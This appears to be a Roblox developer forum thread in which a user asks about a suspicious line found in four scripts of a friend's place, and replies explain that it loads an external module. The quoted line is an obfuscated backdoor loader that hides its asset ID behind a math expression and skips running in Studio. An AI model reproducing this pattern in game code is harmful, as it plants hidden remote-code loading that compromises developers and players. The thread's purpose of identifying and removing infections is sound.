Can you get malicious infections from regular Scripts?

Me and my friend are testing a Roblox Studio place he made. I noticed that four of the scripts in there contain this line:

spawn(function()game:WaitForChild('ServerScriptService')if game:GetService('Workspace').Terrain:FindFirstChild('CallF')then return end;if game:GetService('RunService'):IsStudio()then return end;require(math.sqrt(6.7743462758588e+18)).load(game.PlaceId)end)

Should I be worried? I ran the game a few times in Studio.

Not what I was talking about. I am talking about a Studio infection, not a game breaker.

How can I combat it if it is malicious?

I very much recommend this. I installed a bad plugin a couple of months ago and managed to infect about 20 files before I realized I had a problem. This plugin cleaned it up. I verified by looking through the xml files manually for anything suspicious (once I figured out I could do that).

Anything can give you “malicious infections”. If you see code that looks nothing like what you included in the game, delete it as soon as you can. The code you posted indeed does require an external module. Thankfully however, the module that this leads to is currently Content Deleted. Running the mathematical equation also returns an invalid asset value (there’s an added decimal).